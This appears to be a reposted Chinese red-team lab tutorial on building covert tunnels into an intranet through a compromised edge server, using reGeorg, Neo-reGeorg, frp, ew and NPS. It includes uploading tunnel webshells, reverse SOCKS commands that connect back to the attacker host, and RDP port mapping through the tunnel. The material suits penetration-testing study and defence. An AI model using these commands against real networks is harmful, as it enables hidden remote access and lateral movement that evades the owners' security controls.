红队攻防实战之内网穿透隐秘隧道搭建

news2024/9/23 9:35:10

别低头，皇冠会掉；别流泪，贱人会笑。

本文首发于先知社区，原创作者即是本人

0x00 前言

构建内网隐蔽通道，从而突破各种安全策略限制，实现对目标服务器的完美控制。
当我们从外网成功获得攻击点的时候，通过反弹shell、端口转发、内网穿透等技巧，来进一步入侵内网服务器。当我们取得内网目标服务器的控制权限，通过隧道技术绕过网络限制，实现隐蔽C2服务器的通信。

网络拓扑：

在这里插入图片描述

网络配置IP如下：

攻击机：
win10：192.168.1.6
kali：192.168.1.7

靶场：
VM1：对外边界服务器，win7
192.168.52.143
192.168.1.5

VM2：域成员，2003
192.168.52.141

VM3：域控，2008
192.168.52.138

0x01 reGeorge

1.1 环境

攻击机kali
reGeorge软件，下载：https://github.com/sensepost/reGeorg
运行程序需要的环境：
Python、pip、urllib3；

1.2 部署配置

上传tunnel.nosocket.php
前提条件，已获得跳板机的权限（都打到内网了，跳板机的权限肯定获得了），server-bt系统的跳板机是php环境，将reGeorge中的tunnel.nosocket.php上传至网站

在这里插入图片描述

并访问http://192.168.1.5/tunnel.nosocket.php
访问成功

在这里插入图片描述

启动reGeorg
python reGeorgSocksProxy.py -p 1090 -u http://192.168.1.5/tunnel.nosocket.php
表示本地1090端口的流量都转发给指定的那个url，1090是指定的监听端口；

在这里插入图片描述

配置代理
然后配置proxychains代理链的配置文件vim /etc/proxychains.conf，将代理设置成本机的1090端口：socks5 127.0.0.1 1090

在这里插入图片描述

1.3 测试

命令前面加上proxychains 运行命令，（跳板机php环境已启动，存在主页index.php）
proxychains curl http://192.168.52.143

在这里插入图片描述

reGeorg控制端

在这里插入图片描述

0x02 Neo-reGeorg

1.1 使用

设置密码并生成隧道文件，运行后会生成一个neoreg_server目录，里面包含了各种语言类型的隧道文件

$ python3 neoreg.py generate -k <password>
[+] Create neoreg server files:
    => neoreg_server/key.txt.   # 密码
    => neoreg_server/tunnel.nosocket.php
    => neoreg_server/tunnel.js
    => neoreg_server/tunnel.php
    => neoreg_server/tunnel.ashx
    => neoreg_server/tunnel.aspx
    => neoreg_server/tunnel.tomcat.5.jsp
    => neoreg_server/tunnel.tomcat.5.jspx
    => neoreg_server/tunnel.jsp
    => neoreg_server/tunnel.jspx

python3 neoreg.py generate -k jdxyxd

在这里插入图片描述

1.2 部署配置

上传tunnel.php
前提条件，已获得跳板机的权限（都打到内网了，跳板机的权限肯定获得了），server-bt系统的跳板机是php环境，将reGeorge中的tunnel.php上传至网站

在这里插入图片描述

并访问http://192.168.1.5/tunnel.php
访问成功

在这里插入图片描述

启动Neo-reGeorg
python3 neoreg.py -k jdxyxd -u http://192.168.1.5/tunnel.php #表示本地1080端口的流量都转发给指定的那个url，1080是指定的监听端口；

在这里插入图片描述

配置代理
然后配置proxychains代理链的配置文件vim /etc/proxychains.conf，将代理设置成本机的1080端口：socks5 127.0.0.1 1080

在这里插入图片描述

1.3 测试

命令前面加上proxychains 运行命令，（跳板机php环境已启动，存在主页index.php）
proxychains curl http://192.168.52.143

在这里插入图片描述

0x03 frp

软件：frp_0.33.0_windows_amd64 ，frp_0.34.1_linux_amd64
代理工具Proxifier（windows下通常用可视化的proxifier、SocksCap64，Linux在proxychains设置）

1.1 攻击机为windows环境

frp的Socks5反向代理：
(HTTP反向代理修改plugin模块和proxifier代理类型即可)
攻击机-服务端：
设置frps.ini

[common] 
bind_port = 7000

在这里插入图片描述

然后运行
frps.exe -c frps.ini

在这里插入图片描述

跳板机-客户端：server_addr为攻击机IP
设置frpc.ini

[common] 
server_addr = 192.168.1.6
server_port = 7000 

[socks5] 
type = tcp 
remote_port = 8010 
plugin = socks5

在这里插入图片描述

然后运行
frpc.exe -c frpc.ini

在这里插入图片描述

SwitchyOmega配置

在这里插入图片描述

浏览器访问192.168.52.143 访问成功

在这里插入图片描述

proxifier配置

在这里插入图片描述

浏览器访问192.168.52.143 访问成功

在这里插入图片描述

0x04 ew

1.1 攻击机为kali环境

ew正向代理

1.正向连接跳板机在win7机器上执行(ew_for_windows上传到跳板机)
ew_for_win_32.exe -s ssocksd -l 1090

在这里插入图片描述

这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf socks5 192.168.1.5 1090

在这里插入图片描述

测试执行：
proxychains curl http://192.168.52.143/

在这里插入图片描述

ew反向代理

服务端-攻击机kali
执行：
./ew_for_linux -s rcsocks -l 1080 -e 1024

在这里插入图片描述

客户端-跳板机
执行
ew.exe -s rssocks -d 192.168.1.7 -e 1024

在这里插入图片描述

配置proxychains代理链
在配置文件/etc/proxychains.conf，
将代理设置成本机的1080端口(root用户修改)：

在这里插入图片描述

测试执行：
proxychains curl http://192.168.52.143/

在这里插入图片描述

0x05 NPS隐秘隧道搭建

1）建立连接

此场景攻击机使用Kali，在攻击机运行命令“./nps install”安装服务端，如图所示。

在这里插入图片描述

运行命令“nps start”启动服务端，如图所示。

在这里插入图片描述

通过8080端口访问服务端的Web界面，如图所示。

http://192.168.1.7:8080

在这里插入图片描述

输入默认用户名、密码admin、123登录，登录后可以看到默认客户端连接端口为8024，登录后的Web界面如图所示。

在这里插入图片描述

添加客户端，如图所示，配置唯一验证密钥，验证密钥在从客户端连接到服务端时使用，此处配置为“any”，然后开启压缩和加密传输。

在这里插入图片描述

最后在边界主机运行命令“npc.exe -server=192.168.1.7:8024 -vkey=any”来连接服务端，建立连接如图所示。

在这里插入图片描述

连接成功后在攻击机的Web界面可看到客户端上线，如图所示。

在这里插入图片描述

2）TCP隧道

客户端上线后便可以通过Web界面单击上线的客户端、查看选项、配置隧道，例如，若想访问内网主机的3389端口，则可通过TCP隧道将内网主机的3389端口映射到攻击机的1111端口，单击“新增”，配置目标“192.168.52.143:3389”，配置服务端口为“1111”，TCP隧道如图所示。

在这里插入图片描述

TCP隧道建立成功后，即可通过连接攻击机的1111端口来连接内网主机的远程桌面，在攻击机运行命令“rdesktop 192.168.1.7:1111”连接本地的1111端口，隧道的使用如图所示。

在这里插入图片描述

3）SOCKS5代理

若想搭建HTTP代理或SOCKS代理，只需选择对应模式，填写服务端端口即可，以SOCKS为例，选择模式为“SOCKS代理”，如图所示，服务端端口为“1234”。

在这里插入图片描述

配置好SOCKS代理后，便可使用攻击机192.168.1.7的1234端口访问内网，配置代理服务器

在这里插入图片描述

访问内网主机站点http://192.168.52.143/
使用代理如图所示。

在这里插入图片描述

或者配置proxifier

在这里插入图片描述

访问内网主机站点http://192.168.52.143/

在这里插入图片描述

文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。

免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。

转载声明：各家兴 拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号：
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区：
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf：
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1244544.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

【性能优化】JVM调优与写出JVM友好高效的代码

【性能优化】JVM调优与写出JVM友好高效的代码

&#x1f4eb;作者简介&#xff1a;小明java问道之路&#xff0c;2022年度博客之星全国TOP3&#xff0c;专注于后端、中间件、计算机底层、架构设计演进与稳定性建设优化&#xff0c;文章内容兼具广度、深度、大厂技术方案&#xff0c;对待技术喜欢推理加验证&#xff0c;就职于…
阅读更多...
git clone -mirror 和 git clone 的区别

git clone -mirror 和 git clone 的区别

目录 前言两则区别git clone --mirrorgit clone 获取到的文件有什么不同瘦身仓库如何选择结语开源项目 前言 Git是一款强大的版本控制系统&#xff0c;通过Git可以方便地管理代码的版本和协作开发。在使用Git时&#xff0c;常见的操作之一就是通过git clone命令将远程仓库克隆…
阅读更多...
ky10 server sp3 解决/boot/grub2/grub.cfg 找不到

ky10 server sp3 解决/boot/grub2/grub.cfg 找不到

现象 /boot/grub2 目录下不存在grub.cfg 配置文件 解决 执行下面脚本即可 yum install -y grub2 grub2-mkconfig -o /boot/grub2/grub.cfg 执行完成第一条命令 执行完成第二条命令 查看效果 已经生成这个文件了
阅读更多...
Visual Studio 2019 C# System.BadImageFormatException 解决方法

Visual Studio 2019 C# System.BadImageFormatException 解决方法

文章目录 1.DLL文件缺失或不匹配原因解决方法 2.系统环境变量Path下内容过多原因解决方法 3.位数错误原因解决方法 分析几种可能因素 1.DLL文件缺失或不匹配 原因 检查对应Debug路径下的DLL文件是否有缺失 解决方法 将对应的DLL文件放到Debug文件夹里面&#xff0c;检查冗余…
阅读更多...
成为AI产品经理——模型构建过程(上)

成为AI产品经理——模型构建过程(上)

目录 一、背景 1.对内 2.对外 二、模型构建过程 1.模型设计 2.特征工程 ① 数据清洗 ② 特征提取 数值型数据 标签/描述类数据特征 非结构化数据&#xff08;处理文本特征&#xff09; 网络关系型数据 ③ 特征选择 ④ 训练集/测试集 一、背景 虽然产品经理不…
阅读更多...
飞翔的鸟游戏

飞翔的鸟游戏

一.准备工作 首先创建一个新的Java项目命名为“飞翔的鸟”&#xff0c;并在src中创建一个包命名为“com.qiku.bird"&#xff0c;在这个包内分别创建4个类命名为“Bird”、“BirdGame”、“Column”、“Ground”&#xff0c;并向需要的图片素材导入到包内。 二.代码呈现 pa…
阅读更多...
深入了解Java8新特性-日期时间API

深入了解Java8新特性-日期时间API

阅读建议 嗨&#xff0c;伙计&#xff01;刷到这篇文章咱们就是有缘人&#xff0c;在阅读这篇文章前我有一些建议&#xff1a; 本篇文章大概2000多字&#xff0c;预计阅读时间长需要3分钟。本篇文章的实战性、理论性较强&#xff0c;是一篇质量分数较高的技术干货文章&#x…
阅读更多...
爬虫逆向你应该懂得Javascript知识

爬虫逆向你应该懂得Javascript知识

背景 大家在学习爬虫逆向的时候&#xff0c;一般都会涉及到对js源文件进行代码扣去&#xff0c;但是有的时候&#xff0c;你最好有js基础&#xff0c;能发现加密或者解密在那个位置&#xff0c;或者是能用python改写js代码&#xff0c;这就对个人的Javascript的能力有一定要求…
阅读更多...
【考研数据结构代码题8】三元组表示的稀疏矩阵快速转置

【考研数据结构代码题8】三元组表示的稀疏矩阵快速转置

题目&#xff1a;三元组表示的稀疏矩阵快速转置 考点&#xff1a;矩阵的压缩与存储 难度&#xff1a;★★★ 稀疏矩阵压缩存储 三元组结构 //三元组结构 typedef struct {int row;int col;int value; } Term; 核心代码 // 转置函数&#xff0c;a为原矩阵&#xff0c;b存放转…
阅读更多...
【灌水】自动跑团机器人

【灌水】自动跑团机器人

实现一个自动COC跑团机器人 这几天玩博德之门3有点累了 #假如你有一台服务器&#xff0c;你最想做哪些事&#xff1f;# 这他妈是什么idea收集器&#xff0c;你们就是靠这个收集idea吗&#xff0c;那我就说一个绝对不赚钱的了。 简单实现了追书人的基本流程&#xff0c;最后…
阅读更多...
iview table 默认排序字段不高亮解决办法

iview table 默认排序字段不高亮解决办法

iview treeSelect 组件封装 1、表格增加排序时触发的方法2、定义三个变量&#xff0c;sortColumnDefaultStyle存放默认的样式&#xff0c;定义页面默认的列以及顺序3、显示的列加上 sortable, 和样式4、使用下面这块代表默认选中5、点击时清除掉默认的排序6、把排序的字段查询时…
阅读更多...
TensorFlow实战教程（十九）-Keras搭建循环神经网络分类案例及RNN原理详解

TensorFlow实战教程（十九）-Keras搭建循环神经网络分类案例及RNN原理详解

从本专栏开始，作者正式研究Python深度学习、神经网络及人工智能相关知识。前一篇文章分享了卷积神经网络CNN原理，并通过Keras编写CNN实现了MNIST分类学习案例。这篇文章将详细讲解循环神经网络RNN的原理知识，并采用Keras实现手写数字识别的RNN分类案例及可视化呈现。基础性文…
阅读更多...
为什么说品牌低价不是一件好事

为什么说品牌低价不是一件好事

消费者货比三价为的是买到低价质优的产品&#xff0c;而网络电商平台的公开&#xff0c;也促进了消费者及品牌进行比价&#xff0c;那品牌低价一定就是好事吗&#xff0c;一定会拉高品牌销量吗。其实是不一定的&#xff0c;低价意味着成本的降低&#xff0c;也可能滋生很多产品…
阅读更多...
matlab使用scatter函数画图时报错“数组索引必须为正整数或逻辑值”解决办法

matlab使用scatter函数画图时报错“数组索引必须为正整数或逻辑值”解决办法

一、背景 在使用matlab的scatter函数画图时报错“数组索引必须为正整数或逻辑值”。 scatter函数说明&#xff1a;scatter(x,y) 在向量 x 和 y 指定的位置创建一个包含圆形标记的散点图。 二、解决办法 如果使用scatter函数时报上述错误&#xff0c;尝试将连续函数先转换为函…
阅读更多...
Adobe xd有免费版可以使用吗？

Adobe xd有免费版可以使用吗？

Adobexd现在收费了吗&#xff1f;Adobexd是收费的。Adobexd在中国提供个人版和团队版两项收费政策。个人版每月订阅60元&#xff0c;每年订阅688元&#xff1b;团队版每月订阅112元/用户&#xff0c;每年订阅1288元/用户。 虽然AdobeXD的免费计划已经下线&#xff0c;但Adobe仍…
阅读更多...
主流日志平台对比（ES, ClickHouse,Loki）

主流日志平台对比（ES, ClickHouse,Loki）

阅读更多...
基于动量的梯度下降

基于动量的梯度下降

丹尼尔林肯 (Daniel Lincoln)在Unsplash上拍摄的照片 一、说明 基于动量的梯度下降是一种梯度下降优化算法变体&#xff0c;它在更新规则中添加了动量项。动量项计算为过去梯度的移动平均值&#xff0c;过去梯度的权重由称为 Beta 的超参数控制。 这有助于解决与普通梯度下降相…
阅读更多...
virtualList 封装使用 虚拟列表 列表优化

virtualList 封装使用 虚拟列表 列表优化

虚拟列表 列表优化 virtualList 组件封装 virtualList 组件封装 本虚拟列表 要求一次性加载完所有数据 不适合分页 新建一个select.vue 组件页面 <template><div> <el-select transfer"true" :popper-append-to-body"true"popper-class…
阅读更多...
Android修行手册-超出父布局进行显示以及超出父布局实现点击

Android修行手册-超出父布局进行显示以及超出父布局实现点击

Unity3D特效百例案例项目实战源码Android-Unity实战问题汇总游戏脚本-辅助自动化Android控件全解手册再战Android系列Scratch编程案例软考全系列Unity3D学习专栏蓝桥系列ChatGPT和AIGC &#x1f449;关于作者 专注于Android/Unity和各种游戏开发技巧&#xff0c;以及各种资源分…
阅读更多...
ubuntu下docker环境使用GPU配置

ubuntu下docker环境使用GPU配置

本文主要讲述整个命令流程&#xff0c;具体讲解请看官网nvidia-容器工具包和一篇总结得很详细的博文docker使用GPU总结 docker的版本必须安装19.0版本以上的&#xff0c;这里也只讲19.0版本以上的使用方法 首先设置一下网络信息 curl -fsSL https://nvidia.github.io/libnvi…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023